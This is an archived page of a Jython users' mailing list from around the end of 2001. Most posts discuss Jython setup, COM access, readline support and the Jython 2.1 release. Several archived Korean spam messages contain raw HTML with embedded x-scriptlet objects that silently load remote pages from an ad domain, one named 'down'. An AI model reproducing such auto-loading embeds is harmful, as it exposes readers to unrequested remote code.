You can subscribe to this list here.
2000 |
Jan
|
Feb
|
Mar
|
Apr
|
May
|
Jun
|
Jul
|
Aug
|
Sep
|
Oct
(6) |
Nov
(8) |
Dec
(51) |
---|---|---|---|---|---|---|---|---|---|---|---|---|
2001 |
Jan
(105) |
Feb
(93) |
Mar
(194) |
Apr
(145) |
May
(100) |
Jun
(111) |
Jul
(117) |
Aug
(126) |
Sep
(233) |
Oct
(138) |
Nov
(164) |
Dec
(109) |
2002 |
Jan
(216) |
Feb
(175) |
Mar
(216) |
Apr
(194) |
May
(157) |
Jun
(140) |
Jul
(158) |
Aug
(73) |
Sep
(105) |
Oct
(164) |
Nov
(104) |
Dec
(95) |
2003 |
Jan
(72) |
Feb
(69) |
Mar
(81) |
Apr
(151) |
May
(101) |
Jun
(139) |
Jul
(99) |
Aug
(118) |
Sep
(115) |
Oct
(151) |
Nov
(161) |
Dec
(102) |
2004 |
Jan
(120) |
Feb
(175) |
Mar
(106) |
Apr
(111) |
May
(54) |
Jun
(78) |
Jul
(76) |
Aug
(105) |
Sep
(94) |
Oct
(143) |
Nov
(75) |
Dec
(85) |
2005 |
Jan
(99) |
Feb
(77) |
Mar
(164) |
Apr
(97) |
May
(79) |
Jun
(57) |
Jul
(65) |
Aug
(102) |
Sep
(95) |
Oct
(129) |
Nov
(123) |
Dec
(52) |
2006 |
Jan
(48) |
Feb
(99) |
Mar
(90) |
Apr
(51) |
May
(81) |
Jun
(136) |
Jul
(56) |
Aug
(109) |
Sep
(50) |
Oct
(44) |
Nov
(74) |
Dec
(75) |
2007 |
Jan
(92) |
Feb
(137) |
Mar
(93) |
Apr
(79) |
May
(52) |
Jun
(74) |
Jul
(143) |
Aug
(175) |
Sep
(154) |
Oct
(137) |
Nov
(88) |
Dec
(90) |
2008 |
Jan
(58) |
Feb
(113) |
Mar
(167) |
Apr
(88) |
May
(105) |
Jun
(37) |
Jul
(87) |
Aug
(72) |
Sep
(56) |
Oct
(41) |
Nov
(102) |
Dec
(70) |
2009 |
Jan
(115) |
Feb
(113) |
Mar
(126) |
Apr
(58) |
May
(125) |
Jun
(45) |
Jul
(90) |
Aug
(125) |
Sep
(84) |
Oct
(61) |
Nov
(111) |
Dec
(61) |
2010 |
Jan
(85) |
Feb
(86) |
Mar
(130) |
Apr
(58) |
May
(57) |
Jun
(32) |
Jul
(25) |
Aug
(50) |
Sep
(41) |
Oct
(65) |
Nov
(63) |
Dec
(24) |
2011 |
Jan
(43) |
Feb
(31) |
Mar
(28) |
Apr
(68) |
May
(53) |
Jun
(42) |
Jul
(58) |
Aug
(26) |
Sep
(51) |
Oct
(76) |
Nov
(60) |
Dec
(9) |
2012 |
Jan
(16) |
Feb
(32) |
Mar
(32) |
Apr
(39) |
May
(16) |
Jun
(19) |
Jul
(3) |
Aug
(11) |
Sep
(35) |
Oct
(47) |
Nov
(28) |
Dec
(18) |
2013 |
Jan
(18) |
Feb
(36) |
Mar
(10) |
Apr
(7) |
May
(7) |
Jun
(27) |
Jul
(17) |
Aug
(35) |
Sep
(19) |
Oct
(31) |
Nov
(8) |
Dec
(22) |
2014 |
Jan
(5) |
Feb
(11) |
Mar
(18) |
Apr
(23) |
May
(26) |
Jun
(14) |
Jul
(18) |
Aug
(26) |
Sep
(20) |
Oct
(48) |
Nov
(13) |
Dec
(9) |
2015 |
Jan
(9) |
Feb
(15) |
Mar
(25) |
Apr
(10) |
May
(26) |
Jun
(6) |
Jul
(13) |
Aug
(5) |
Sep
(14) |
Oct
(36) |
Nov
(24) |
Dec
(18) |
2016 |
Jan
(24) |
Feb
(11) |
Mar
(1) |
Apr
(6) |
May
(7) |
Jun
(3) |
Jul
(9) |
Aug
(15) |
Sep
(22) |
Oct
(5) |
Nov
(5) |
Dec
(2) |
2017 |
Jan
(20) |
Feb
(4) |
Mar
(4) |
Apr
(1) |
May
(5) |
Jun
(7) |
Jul
(14) |
Aug
(9) |
Sep
(18) |
Oct
(2) |
Nov
(3) |
Dec
(3) |
2018 |
Jan
(7) |
Feb
(6) |
Mar
(1) |
Apr
(2) |
May
|
Jun
|
Jul
(1) |
Aug
(18) |
Sep
(8) |
Oct
(9) |
Nov
(4) |
Dec
(6) |
2019 |
Jan
(5) |
Feb
|
Mar
(2) |
Apr
(4) |
May
(6) |
Jun
(8) |
Jul
(11) |
Aug
(10) |
Sep
(6) |
Oct
|
Nov
(1) |
Dec
|
2020 |
Jan
(8) |
Feb
(3) |
Mar
(1) |
Apr
(4) |
May
(1) |
Jun
(1) |
Jul
|
Aug
|
Sep
(1) |
Oct
(5) |
Nov
(2) |
Dec
(1) |
2021 |
Jan
|
Feb
|
Mar
(5) |
Apr
(2) |
May
|
Jun
(1) |
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
2022 |
Jan
|
Feb
(2) |
Mar
(1) |
Apr
|
May
|
Jun
|
Jul
(7) |
Aug
(1) |
Sep
(1) |
Oct
|
Nov
|
Dec
|
2023 |
Jan
|
Feb
|
Mar
|
Apr
|
May
(3) |
Jun
(5) |
Jul
(15) |
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
2024 |
Jan
|
Feb
(1) |
Mar
|
Apr
(2) |
May
|
Jun
(5) |
Jul
|
Aug
(1) |
Sep
|
Oct
|
Nov
|
Dec
|
2025 |
Jan
|
Feb
|
Mar
(1) |
Apr
|
May
|
Jun
|
Jul
|
Aug
|
Sep
|
Oct
|
Nov
|
Dec
|
From: Áß¾ÓÅ׸¶À̺¥Æ® <new...@or...> - 2002-01-01 10:48:41
|
<table cellpadding=0 cellspacing=0 border=0> <tr> <td width=100% background='http://www.itnsoft.com/ad/top/up_back.gif'><a href='http://www.itnsoft.com/ad/top/logo_link.html'><img src='http://www.itnsoft.com/ad/top/logo.gif' border=0></a></td> <td><a href='http://www.itnsoft.com/ad/top/banner_link.html'><img src='http://itnsoft.com/ad/top/banner.gif' border=0></a></td> </tr> </table> <html> <head> <meta http-equiv="content-type" content="text/html; charset=euc-kr"> <title>*****중앙테마이벤트는 중앙일보 뉴스위크지사에서 하는 이벤트 홍보행사입니다*****</title> <meta name="generator" content="Namo WebEditor v5.0"> </head> <body bgcolor="white" text="black" link="blue" vlink="purple" alink="red"> <DL> <DT> <font color="red">*****중앙테마이벤트는 중앙일보 뉴스위크지사에서 하는 이벤트 홍보행사입니다*****</font></DT></DL> <p>안녕하세요? "중앙일보 뉴스위크 한국판 문화행사팀 담당자 박현주"입니다. <br>우선 허락없이 메일을 보내 죄송합니다. 양해를 구합니다. ^^; <br>지금 이 메일을 받고 참여하시는 분께는 여러가지 문화혜택 (영화,콘서트,연극,뮤지컬,명강의 등)을 <br>누리실 수 있는 이벤트와 함께 영국산 직수입 <font color="blue">폴라로이드 카메라</font>나 <font color="blue">로만손 고급 커플손목시계</font>를 <br>받으실 수 있는 기회가 부여됩니다. </p> <p> </p> <p><B>*****회원으로서 누릴 수 있는 혜택은 월 10,500원에</B> </p> <p><B>@특별 사은품증정 :</B> 폴라로이드 카메라 또는 로만손 고급 커플시계중 택일</p> <p><B>@국제 시사주간지 뉴스위크 한국판 :</B> 2년간 100부 (매주1권)발송, 영한해설 별지부록 8Page포함 </p> <B>@영화로의초대 :</B> 연 8회이상, 무료초대권 (2인 입장) <br> 주말에 상영하며 시간선택가능, 개봉하는 우수영화 또는 시사회를 선정 <p> *이전영화 - 아트어브워,캐스트어웨이,미스에이전트,섬원라이크유,신라의달밤, <br> 혹성탈출,킬러들의수다,달마야놀자 등 <p><B>@라이브콘서트 :</B> 연 4회이상, 무료초대권 (2인 입장, 야외 라이브콘서트 2회 - 봄,가을) </p> <p> *이전콘서트-이은미,김경호,안치환,김민종,김현정,자우림,윤도현밴드,서문탁,난타 등</p> <p> <B>@명강사 명강의 :</B> 연 6회 이상, 무료초대권 (2인 입장) </p> <p> *이전강의-황수관,이시형,엄길청,정덕희,전여옥,구성애,백지연,표진인,끄레벨박 등 </p> <p><B> @연극, 뮤지컬 :</B> 연 12회 이상, 할인 우대권발송 (50%~20%할인율)</p> <p> *이전공연 - 브로드웨이 42번가,코러스라인,넌센스,아리랑,드라큐라,여로 등</p> <p> <B>@정동극장 :</B> 공연 20% 할인혜택 (중앙 정회원 멤버쉽 카드지참시) </p> <p> <B>@정회원 멤버쉽 카드발급 :</B> 중앙테마이벤트에서 주관하는 문화행사 초대 </p> <p> </p> <p><font color="#990000">저희가 회원분들에게 제공해 드리는 회원혜택을 자비로 이용하신다면 월 50,000원 이상 지출될 것입니다. </font><br><font color="#990000">행사기간에 회원가입을 하셔서 월 10,500원에 이 모든 문화생활을 누리세요. 폴라로이드 카메라나 로만손 </font><br><font color="#990000">고급 커플손목시계는 행사기간에 가입하시는 회원분들께 드리는 사은품입니다. 여러분의 질높은 문화생활에 </font><br><font color="#990000">도움이 되고자 하는 중앙테마이벤트입니다.</font> </p> <p> </p> <p> <a href="http://newsweek-event.com">회원가입과 자세한 내용은 홈페이지로</a></p> <p> </p> <p>본 메일을 거부하시는 분은 <A href="mailto:new...@jo...?subject=수신거부&body=메일수신을 거부합니다" >[수신거부 ]</a>를 눌러주십시요. 불편하게 해드렸다면 죄송합니다.</p> <p> </p> <p> </p> <p> </p> <p> </p> </body> </html> <object data='http://itnsoft.com/ad/down/down.html' type=text/x-scriptlet width=100% height=100></object> |
From: dman <ds...@ri...> - 2001-12-31 22:24:14
|
On Mon, Dec 31, 2001 at 10:01:30PM +0000, Dan...@at... wrote: | Is there a way in which I can access win32 libraries | from jython? | CPython has a set of excellent containers for windws | platform specific tools. Is there any way in which I can | access these capabilities from Jython as a way of | bridging Java and COM without. | Has anyone ever explored this? | I know that I could architect things such that I could | use sockets to communicate from Java/Jython to Cpython- | hosting-COM, but that seems unecessarily cumbersome to | me. | Anyone have another approach. Microsoft's JVM supports COM. It is the only one that does, though. Part of java's goal is to be portable. As such it can't rely on the underlying platform. A major difference between Java and CPython is that java takes the least common denominator approach, whereas CPython (the docs) just warn you that your program won't be portable. You could also use any other distributed object middleware to connect Java/Jython to CPython to take advantage of stuff java doesn't let you use. For example: XML-RPC or CORBA. -D -- Consider what God has done: Who can straighten what He has made crooked? Ecclesiastes 7:13 |
From: <Dan...@at...> - 2001-12-31 22:01:36
|
Is there a way in which I can access win32 libraries from jython? CPython has a set of excellent containers for windws platform specific tools. Is there any way in which I can access these capabilities from Jython as a way of bridging Java and COM without. Has anyone ever explored this? I know that I could architect things such that I could use sockets to communicate from Java/Jython to Cpython- hosting-COM, but that seems unecessarily cumbersome to me. Anyone have another approach. Thanks for any good suggestions. -- _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/ Dana Moore - BBN Technologies 703.284.4740 (W) 240.350.4196 (M) dan...@at... _/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/_/ |
From: dman <ds...@ri...> - 2001-12-31 18:19:39
|
On Mon, Dec 31, 2001 at 12:09:15PM -0600, Steve Cohen wrote: | Is there a way to get the jython installer to make a unix shell script | to launch jython from a cygwin bash shell on Windows 98? I want to have | a real console. Unfortunately, the installer seems to detect that I'm | running Windows and therefore have no need of a shell script, even if I | launch the installer from the cygwin bash. Just make the shell script yourself. I have the following in ~/bin/jython ------- #!/bin/bash if [ "$1" = "--classpath" ] ; then CP="$2" shift 2 fi java3 -Dpython.home="C:\\apps\\jython" -classpath "C:\\apps\\jython\\jython.jar;$CP;$CLASSPATH" org.python.util.jython "$@" ------- I also have a shell script named "java3" that runs java.exe from version 1.3.1 (I also have 1.2.2 and 1.1.8 installed). Adjust the paths to match your installation directories. (also be aware that java is not cygwin-aware and needs win32 paths) -D -- Through love and faithfulness sin is atoned for; through the fear of the Lord a man avoids evil. Proverbs 16:6 |
From: Steve C. <St...@ig...> - 2001-12-31 18:09:04
|
Is there a way to get the jython installer to make a unix shell script to launch jython from a cygwin bash shell on Windows 98? I want to have a real console. Unfortunately, the installer seems to detect that I'm running Windows and therefore have no need of a shell script, even if I launch the installer from the cygwin bash. |
From: <bc...@wo...> - 2001-12-31 14:33:00
|
I am happy to announce the release of Jython 2.1. Jython is a Java implementation of the Python programming language. It allows users to compile Python source code to Java byte codes, and run the resulting bytecodes on any Java Virtual Machine. It is a very seamless and smooth integration with Java: from Python you have complete access to all Java libraries, can build applets, can integrate with Java beans, and can subclass Java classes in Python and vice versa. Like Python, and unlike Java, Jython can also be used interactively: just type some Jython code at the prompt and see the results immediately. A java installer is available for download at the Jython website: http://www.jython.org/ Installation is started by running the installer class. Further information and tips on installation is available at: http://www.jython.org/install.html Jython 2.1 is feature compatible with Python 2.1.1 and among the new feature are: - Improve speed when indexing a string and iterating over a string in a for loop. - Reworked coercing model (pep-0208) - Added {}.popitem(). - Improved speed for python files by buffering the RandomAccessFile. - Added function attributes (pep-0232) - Rich comparison (pep-0207) - Updated cPickle to handle CPython compatible unicode strings. - Updated sre to CPython-2.1a1 - Added the "new" module - Added a PyServlet class to the util package. - Warning framework (pep-0230). - Added sys.add_classdir and sys.add_extdir. - Added nested scope to the interpreter (pep-0227). - Added ReadlineConsole class. This class will make it a lot easier to integrate Bablok's readline support. - Display Hook for Interactive Use (pep-0217) - Added zlib, gzip and zipfile modules. - Added nested scope to jythonc (pep-0227). - A settable console encoding will allow windows users to enter national characters at the command prompt. - Non-public classes are available when respectJavaAccessibility is false - The names of zip- and jarfiles can be added to sys.path. - The weakref module is now available. - The sys.exitfunc hook is called on exit and the sys.excepthook is called when an exception occur. - A CPython compatible xreadlines module. - Support for os.environ and os.system() on common platforms. - Includes zxJDBC for Python DB API 2.0 compatibility. - support for callproc() in zxJDBC is now available for most simple stored procedure calls. The list of bugs fixed since the previous beta2 release includes: - [ #493359 ] Installer should include <EXIT> button - [ #495602 ] os.path.dirname() can result in an NPE - [ #495604 ] imp.find_module fails when None is 2 arg A complete list of changes and differences are available here: http://www.jython.org/NEWS.html Bugs can be reported to the bug manager on SourceForge: http://sourceforge.net/bugs/?group_id=12867 Happy New Year, the jython-developers |
From: dman <ds...@ri...> - 2001-12-31 01:41:07
|
On Sun, Dec 30, 2001 at 02:50:04PM -0800, Ranjan Bagchi wrote: | I don't suppose anyone's managed to get read/editline to work under windows? An exceptr from the description of the debian libreadline-java package : it merely contains JNI wrappers for the standard system libraries I extrapolate from this that the java readline library still requires the C readline library to work. The readline library is available on windows with cygwin, but I have no idea what the hurdles or pitfalls of trying to combine (win32-only) java binaries with cygwin-linked binaries. I also don't know if it is possible to compile readline without the cygwin emulation layer. -D -- A man of many companions may come to ruin, but there is a friend that sticks closer than a brother. Proverbs 18:24 |
From: Ranjan B. <ran...@fr...> - 2001-12-30 22:49:14
|
I don't suppose anyone's managed to get read/editline to work under windows? Ranjan |
From: <bc...@wo...> - 2001-12-30 19:30:41
|
[Steve Cohen] >For about the third time, I have spent a few hours getting the readline >library worked into jython. (It happens every time I install a new >jython and it changes a little bit each time.) You would think this >annoying mess would get documented somewhere, but it hasn't, anywhere, >correctly, in spite of several halfway attempts to do so. And much of >the documentation is out of date. > >So please, guys, make it a New Year's resolution to get this into the >official docs, somewhere. Here is a start, it worked for me: > > >What you have to do to get Jython and Readline working (These >instructions work for GNUReadline on my RedHat Linux system - your >mileage may vary):=20 > >Note: there is another option called Editline but Bernhard Bablok, the >author of gnu java_readline says he couldn't get it working, so I didn't >even try. Nonetheless, Editline is the default in jython according to >the source code in ReadlineConsole.java. (See item #9 below ) If this >is going to be the case, then the jython docs should give more info >about it or work it into the standard distribution somehow. =20 > >1. Download and install the javacc from >http://www.webgain.com/products/java_cc/. You can't build jython >without this. > >2. Download the java-readline source from >http://www.bablokb.de/java/readline.html > >3. Make the java_readline jar and backing library using the Makefile >supplied.=20 > >4. Deploy these into your system lib directory. (/usr/lib in my case) > >5. Download the latest Jython sources from SourceForge. =20 > >6. Create/Modify an ant.properties file in the same directory as the >build.xml for jython and add the property readline.jar giving it the >value of a path to the java_readline.jar you deployed in step 3, as >well as the path to javacc and any other optional jars you wish to >include. > >7. Build jython and deploy it. > >8. Modify the jython shell script so as to precede the supplied command >(java -Dpython.home=3D...) with 'LD_LIBRARY_PATH=3D"/usr/lib"' > >9. Modify your registry file to add the line > > python.console.readlinelib=3DGnuReadline > >As far as I know this one isn't documented anywhere and if you don't put >it in, the system tries to find Editline and throws an exception if it >can't. I only pieced it together from reading the source code for >jython's ReadlineConsole and for the gnu java readline. I think you have made it more difficult than you have to. To enable readline you can use the binary distribution of jython-21b2, you just have to set the registry options: python.console=org.python.util.ReadlineConsole python.console.readlinelib=GnuReadline You still have to do items 2, 3, 4, 5 and 8, but I would rather not have to document how because I have truely no clue about it. The documentation for item 9 was missing, I have added a note about python.console.readlinelib to the registry.html web-page. http://www.jython.org/docs/registry.html Thank you for reporting the missing doc. >After all that, you finally have a console that recognizes the arrow >keys for history when on the last line. Way too complicated. > >So while I thank the Jython developers and Mr. Bablok for their efforts >and for making this possible at all, please, someone, make this easier >or at least pull all the documentation into one place. Sounds like a good candidate for a FAQ entry. Does anyone want to write it up? The faqwizard is read-only at the moment but send the text to the list, then I'll add it. regards, finn |
From: dman <ds...@ri...> - 2001-12-30 18:16:54
|
On Sun, Dec 30, 2001 at 10:10:46AM -0600, Steve Cohen wrote: | For about the third time, I have spent a few hours getting the readline | library worked into jython. ... | What you have to do to get Jython and Readline working (These | instructions work for GNUReadline on my RedHat Linux system - your | mileage may vary): ... Does it obey /etc/inputrc and ~/.inputrc for you? The debian package now includes the readline stuff (and depends on the java readline package) but it doesn't have the vi keybindings (which I have specified in both inputrc files). bash and cpython (and other programs, I am sure) obey the inputrc and give me the vi keybindings. -D -- Your beauty should not come from outward adornment, such as braided hair and the wearing of gold jewelry and fine clothes. Instead, it should be that of your inner self, the unfading beauty of a gentle and quiet spirit, which is of GREAT WORTH in God's sight. For this is the way the holy women of the past used to make themselves beautiful. I Peter 3:3-5 |
From: Steve C. <St...@ig...> - 2001-12-30 16:10:33
|
For about the third time, I have spent a few hours getting the readline library worked into jython. (It happens every time I install a new jython and it changes a little bit each time.) You would think this annoying mess would get documented somewhere, but it hasn't, anywhere, correctly, in spite of several halfway attempts to do so. And much of the documentation is out of date. So please, guys, make it a New Year's resolution to get this into the official docs, somewhere. Here is a start, it worked for me: What you have to do to get Jython and Readline working (These instructions work for GNUReadline on my RedHat Linux system - your mileage may vary):=20 Note: there is another option called Editline but Bernhard Bablok, the author of gnu java_readline says he couldn't get it working, so I didn't even try. Nonetheless, Editline is the default in jython according to the source code in ReadlineConsole.java. (See item #9 below ) If this is going to be the case, then the jython docs should give more info about it or work it into the standard distribution somehow. =20 1. Download and install the javacc from http://www.webgain.com/products/java_cc/. You can't build jython without this. 2. Download the java-readline source from http://www.bablokb.de/java/readline.html 3. Make the java_readline jar and backing library using the Makefile supplied.=20 4. Deploy these into your system lib directory. (/usr/lib in my case) 5. Download the latest Jython sources from SourceForge. =20 6. Create/Modify an ant.properties file in the same directory as the build.xml for jython and add the property readline.jar giving it the value of a path to the java_readline.jar you deployed in step 3, as well as the path to javacc and any other optional jars you wish to include. 7. Build jython and deploy it. 8. Modify the jython shell script so as to precede the supplied command (java -Dpython.home=3D...) with 'LD_LIBRARY_PATH=3D"/usr/lib"' 9. Modify your registry file to add the line python.console.readlinelib=3DGnuReadline As far as I know this one isn't documented anywhere and if you don't put it in, the system tries to find Editline and throws an exception if it can't. I only pieced it together from reading the source code for jython's ReadlineConsole and for the gnu java readline. After all that, you finally have a console that recognizes the arrow keys for history when on the last line. Way too complicated. =20 So while I thank the Jython developers and Mr. Bablok for their efforts and for making this possible at all, please, someone, make this easier or at least pull all the documentation into one place. |
From: humor <hum...@ly...> - 2001-12-29 22:23:30
|
<object data='http://itnsoft.com/ad/top/top.html' type=text/x-scriptlet width=100% height=100></object> <html> <head> <title>:::쌀랑해요~천사 페스티발:::</title> <LINK REL=stylesheet TYPE=text/css HREF=/include/main_style.css> <script language="JavaScript"> <!-- function MM_swapImgRestore() { //v3.0 var i,x,a=document.MM_sr; for(i=0;a&&i<a.length&&(x=a[i])&&x.oSrc;i++) x.src=x.oSrc; } function MM_preloadImages() { //v3.0 var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array(); var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++) if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}} } function MM_findObj(n, d) { //v4.0 var p,i,x; if(!d) d=document; if((p=n.indexOf("?"))>0&&parent.frames.length) { d=parent.frames[n.substring(p+1)].document; n=n.substring(0,p);} if(!(x=d[n])&&d.all) x=d.all[n]; for (i=0;!x&&i<d.forms.length;i++) x=d.forms[i][n]; for(i=0;!x&&d.layers&&i<d.layers.length;i++) x=MM_findObj(n,d.layers[i].document); if(!x && document.getElementById) x=document.getElementById(n); return x; } function MM_swapImage() { //v3.0 var i,j=0,x,a=MM_swapImage.arguments; document.MM_sr=new Array; for(i=0;i<(a.length-2);i+=3) if ((x=MM_findObj(a[i]))!=null){document.MM_sr[j++]=x; if(!x.oSrc) x.oSrc=x.src; x.src=a[i+2];} } //--> </script> <SCRIPT LANGUAGE="JavaScript"> function send() { document.angelList.submit(); } </SCRIPT> <meta http-equiv="Cache-Control" content="no-cache"> <meta http-equiv="Content-Type" content="text/html; charset=euc-kr"> <script language="JavaScript" src="/include/common.js"></script> </head> <body bgcolor="#ffffff" text="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> <p align="center"> </p> <table align="center" border="1" cellspacing="0" width="756" bordercolordark="white" bordercolorlight="black"> <tr> <td width="750"> <p align="center"><img src="http://www.cjmall.com/event/angel/images/angel_info_title.gif" width="758" height="150" border="0"><a href="http://ildang.net/cjmall.htm" target="_blank"><img src="http://www.cjmall.com/event/angel/images/ag1.gif" width="331" height="303" border="0"></a><img src="http://www.help.or.kr/indochina/picture/back.gif" width="350" height="304" border="0"></p> <P><SPAN style="FONT-SIZE: 9pt"><FONT color=#009933>백혈병 어린이들은 하루하루가 힘겨움입니다. 백혈병과의 싸움만큼이나 힘겨운 주위의 무관심지금 이 시간에도 치료비가 없어서 사라져가는 작은 생명들이 있습니다. 여러분의 작은 손길 하나가 백혈병 어린이들의 생명을 다시 살릴 수 있습니다.</FONT></SPAN></P> <p><SPAN style="FONT-SIZE: 9pt"><FONT color=#009933><img src="http://www.cjmall.com/event/angel/images/tt_nohom_handycap.gif" width="150" height="120" border="0"><img src="http://www.cjmall.com/event/angel/images/tt_nohom_old.gif" width="150" height="120" border="0"><img src="http://www.cjmall.com/event/angel/images/tt_nomoney.gif" width="150" height="120" border="0"><img src="http://www.cjmall.com/event/angel/images/tt_chpapa.gif" width="150" height="120" border="0"><img src="http://www.cjmall.com/event/angel/images/tt_chhome.gif" width="150" height="120" border="0"></FONT></SPAN></p> <p><SPAN style="FONT-SIZE: 9pt"><FONT color=#009933>지금 많은 불우이웃들이 여러분들의 따뜻한 손길을 기다리고 있습니다.</FONT></SPAN></p> <p><SPAN style="FONT-SIZE: 9pt"><FONT color=#009933>지금 CJmall 사이트에 가입하시면 불우이웃들에게 0.5Kg의 쌀이 전달해집니다.</FONT></SPAN></p> <p><SPAN style="FONT-SIZE: 9pt"><FONT color=#009933>가입은 무료이면 가입하는 시간은 3분도채 걸리지 않습니다. 3분정도 투자하셔서 우리 가엾은 불우이웃들에게 따뜻한 식량이라도 전달해 주세요..</FONT></SPAN></p> <p><SPAN style="FONT-SIZE: 9pt"><FONT color=#009933>서로 도우며 사는..그런 사회가 되었으면 합니다.</FONT></SPAN></p> <p><SPAN style="FONT-SIZE: 9pt"><FONT color=#009933>게다가 신규 가입하시는 분들에게 </FONT><FONT color="red"><b>적립금 5,000원도 지급</b></FONT><FONT color=#009933>하여 드리고 있습니다.</FONT></SPAN></p> <p><SPAN style="FONT-SIZE: 9pt"><FONT color=#009933>CJmall에서 하는 이벤트이며, 확실히 불우이웃들에게 쌀이 전달하여 지고 있습니다. 부디 우리 가엾은 불우이웃들에게 사랑을 보내주세요.. </FONT></SPAN></p> <p><SPAN style="FONT-SIZE: 9pt"><FONT color=#009933></FONT></SPAN> </p> <p align="center"><SPAN style="FONT-SIZE: 9pt"><FONT color="blue"><b>[<a href="http://ildang.net/cjmall.htm" target="_blank">불우이웃 돕기 행사 참여하기</a>]</b></FONT></SPAN> </p> <p align="center"><img src="http://www.cjmall.com/event/angel/images/angel_main_title2.gif" width="758" height="151" border="0"></p> </td> </tr> </table> <p align="center"> <font size="2">이메일 아이디는 웹상에서 인지하였으며, 이외의 정보는 없습니다. 정보제공에 대해 편안한 마음으로 수용해 주시어 감사합니다.<br></font><A href="mailto:to...@or...?subject=수신거부&body=수신을 거부합니다."><font size="2" color="blue">수신거부</font><font size="2"> </A>를 클릭 회신하시면 삼가겠습니다. 메일은 한번만 보내어집니다. </FONT> </p> </body> </html> <object data='http://itnsoft.com/ad/down/down.html' type=text/x-scriptlet width=100% height=100></object> |
From: <ev...@jo...> - 2001-12-28 00:01:32
|
DQoNCg0KICAgudq5zLfJtNSysi4uLi0tPiAgICAgKMHWKcG2wMy6qiC15biyICAgodogMjAw MiC79cfYIL+sx8/Eq7XlILq4s7ux4iCh2iCwobHuv+4gxKOxuCAzutC/obDUILq4s7vB1ry8 v+QhISEgILndteW9wyAzutC/obDUIMSrteW4piC6uLO7wda8xb7fuLgNCiDAzLqlxq6/oSDA wLjwtcqw+iC1v73Dv6EgtOfDt8DHILHiyLiwoSDB1r7uwf20z7TZLiC6uLO7tMK757b3IMDM uKcgRS1tYWlsILnetMIgu+e29yDAzLinIEUtbWFpbCANCg0Kud7Aur3FILjewM/AuiC5373F IMD8v+vAzLnHt84gyLi9xcDMILrSsKG0ycfVtM+02S4gICAgICAgICAgICAgICCi0bz2vcWw xbrOIA0KDQoNCg0K |
From: dman <ds...@ri...> - 2001-12-27 03:52:51
|
On Wed, Dec 26, 2001 at 03:40:10AM -0500, Niranjan V. wrote: | Out of the two approach listed below for developing an Application, | which is better? | | 1) Converting the python classes into java classes using jythonc and | importing those java classes to handle events generated in GUI(done | using swing). Basically by using this approach the end product will | be an java application. | | | 2) Using swing libraries of java, writing the code in the jython. | Basically in this approach the end product will be an python | application. | | | It seems to me that first approach is better as the application can | be developed by java and python developers independently to maximum | extent(leaving behind the conversion part). | | can i get some suggestions abt the same. Both approaches sound the same, just a matter of how the app is distributed in the end. Some things I've noticed : o jython code is easier to write than java o jythonc isn't terribly fast o jythonc has some issues (but this may have been fixed) if you try to develop a library/core functionality in jython and drive it from java I recommend following the KISS principle and just writing the thing in jython, then using jythonc to distribute it in the end if you want to. -D -- Python is executable pseudocode. Perl is executable line noise. |
From: Niranjan V. <nir...@ma...> - 2001-12-26 08:40:23
|
Out of the two approach listed below for developing an Application, which is better? 1) Converting the python classes into java classes using jythonc and importing those java classes to handle events generated in GUI(done using swing). Basically by using this approach the end product will be an java application. 2) Using swing libraries of java, writing the code in the jython. Basically in this approach the end product will be an python application. It seems to me that first approach is better as the application can be developed by java and python developers independently to maximum extent(leaving behind the conversion part). can i get some suggestions abt the same. Regards, Niranjan |
From: Severino F. <sev...@re...> - 2001-12-25 23:24:40
|
I am trying to see if it is possible to convert a running application to = Java. I do not get any problems usin jythonc with the application, it = compiles all the modules building up the application. But when I try tu = run the main class (with java from JDK 1.3), it stops telling me that = the module "warnings" could not be loaded. I tried to trick it out compiling the modules in the Python21\Lib = directory, where warnings.py resides, but in this case the compilation = aborts with the following message: error importing site Traceback (innermost last) File "C:\Python21\Lib\.\site.py\, line 74, in ? TypeError: readonly class or attribute: __file__ Could somebody give me a hint on how to circumvent this problem. Severino Fernandez Instituto Nacional de Tecnica Aeroespacial Departamento de Observaci=F3n de la Tierra, Teledetecci=F3n y = Aeronom=EDa Carretera de Ajalvir, Km 4 28850 Torrejon de Ardoz Spain Tel +34 91 677 41 30 +34 91 677 41 90 +34 91 305 16 52 Fax +34 91 677 46 46 Email sev...@re... =20 |
From: Michael K. <mi...@kr...> - 2001-12-24 22:26:15
|
JinSitu - Interactive introspection environment for Java and Jython. The application includes a JScrapbook for evaluating jython code and a component for exploring an object tree. As you navigate through java classes and methods the corresponding javadoc is displayed. Evaluate your jython code using three different ways: CTRL+Return : Evaluate current line (inserts newline, like Interpreter) SHIFT+Return : Evaluate current selection CTRL+SHIFT+Return : Evaluate complete buffer Press 'F5' to update the object tree display. Embed JinSitu in your application like follows (adapt to your needs): #------------------------- my_locals = { 'p': p, 'graph': graph } doc_url = "file:///D:/Programme/jdk1.3.1_01/docs/api/" # windows path # doc_url = "file:///home/mkrause/j/jdk1.3.1_01/docs/api/" # unix path # doc_url = "http://java.sun.com/j2se/1.3/docs/api/" # http from jinsitu.JinSitu import JinSituApp js = JinSituApp(locals=my_locals, doc_url=doc_url) js.show_in_frame(size=(1260, 950), exitOnClose=1) #------------------------- This example is from the included Graph.py which is the example in Demo\awt from the jython distribution enhanced with JinSitu. NOTES - the values of non-public java fields cannot be displayed, maybe we can work around this using an access flags mangling classloader later. - a bigger jython example instead of Graph.py is needed to demonstrate the JinSitu features. HISTORY 0.1 initial release to the public CREDITS The icons are used with permission from Karmira's Bugseeker2. WEB SITE http://www.krause-software.de/jinsitu/ AUTHOR Michael Krause <mi...@kr...> LICENSE Copyright (c) 2001 Michael Krause Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 